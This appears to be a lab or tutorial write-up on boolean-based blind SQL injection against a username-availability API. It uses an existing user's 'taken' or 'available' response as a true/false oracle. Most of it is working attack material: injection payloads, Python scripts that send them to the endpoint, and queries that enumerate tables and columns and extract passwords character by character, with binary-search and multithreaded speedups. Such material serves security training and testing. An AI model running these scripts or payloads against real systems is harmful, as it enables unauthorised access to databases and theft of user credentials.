An oracle is a function that:
- Takes a SQL query
- Returns True or False based on evaluation
Since we know maria exists (returns taken), we can test queries:
SELECT Username FROM Users WHERE Username = 'maria' AND q-- -'| Query Result | Response | Meaning |
|---|---|---|
q = True |
taken |
Query evaluated as TRUE |
q = False |
available |
Query evaluated as FALSE |
Payload: maria' AND 1=1-- -
SELECT Username FROM Users WHERE Username = 'maria' AND 1=1-- -'Response: status: taken ✅ (True)
Payload: maria' AND 1=0-- -
SELECT Username FROM Users WHERE Username = 'maria' AND 1=0-- -'Response: status: available ✅ (False)
⚠️ Must use an existing username (likemaria)If using non-existent username, result is always
availableregardless of query truth value.
#!/usr/bin/env python3
import requests
import json
from urllib.parse import quote_plus
# The user we are targeting (must exist!)
target = "maria"
def oracle(q):
"""
Returns True if query q evaluates to true
Returns False if query q evaluates to false
"""
payload = quote_plus(f"{target}' AND ({q})-- -")
r = requests.get(
f"http://<TARGET>/api/check-username.php?u={payload}"
)
j = json.loads(r.text)
return j['status'] == 'taken'
# Sanity check - verify oracle works
assert oracle("1=1") # Should be True
assert not oracle("1=0") # Should be False
print("[+] Oracle working correctly!")Base Query:
(SELECT COUNT(*) FROM users) > 0#!/usr/bin/env python3
import requests
import json
from urllib.parse import quote_plus
target = "maria"
def oracle(query):
payload = quote_plus(f"{target}' AND ({query})-- -")
response = requests.get(f"http://<TARGET>/api/check-username.php?u={payload}")
jsonResponse = json.loads(response.text)
return jsonResponse['status'] == 'taken'
# Find exact row count
i = 0
while not oracle(f"(SELECT COUNT(*) FROM users) = {i}"):
i += 1
print(f"[+] Number of rows: {i}")$ python3 oracle.py
[+] Number of rows: 3-- More than X rows?
(SELECT COUNT(*) FROM users) > 5
-- Exact count?
(SELECT COUNT(*) FROM users) = 3-- First char of username?
SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1) = 'a'
-- Username length?
LEN((SELECT username FROM users LIMIT 1)) = 5-- Table exists?
(SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME = 'users') > 0
-- Column exists?
(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME = 'password') > 0def oracle(q):
# 1. Build payload with query
payload = f"{target}' AND ({q})-- -"
# 2. URL encode
payload = quote_plus(payload)
# 3. Send request
response = requests.get(f"{url}?param={payload}")
# 4. Parse response
data = json.loads(response.text)
# 5. Return boolean based on indicator
return data['status'] == 'taken' # or check length, content, etc.Instead of linear search (0, 1, 2, 3...), use binary search:
def find_count(table):
low, high = 0, 1000
while low < high:
mid = (low + high) // 2
if oracle(f"(SELECT COUNT(*) FROM {table}) > {mid}"):
low = mid + 1
else:
high = mid
return lowimport concurrent.futures
def check_char(pos, char):
q = f"SUBSTRING(password,{pos},1)='{char}'"
return char if oracle(q) else None
# Check multiple characters in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
results = executor.map(lambda c: check_char(1, c), 'abcdefghijklmnopqrstuvwxyz')- Extracting Data - Character-by-character extraction
- Binary Search Optimization - Faster extraction
<existing_user>' AND (<query>)-- -
from urllib.parse import quote_plus
encoded = quote_plus(payload)# Verify oracle before extraction
assert oracle("1=1"), "Oracle should return True for 1=1"
assert not oracle("1=0"), "Oracle should return False for 1=0"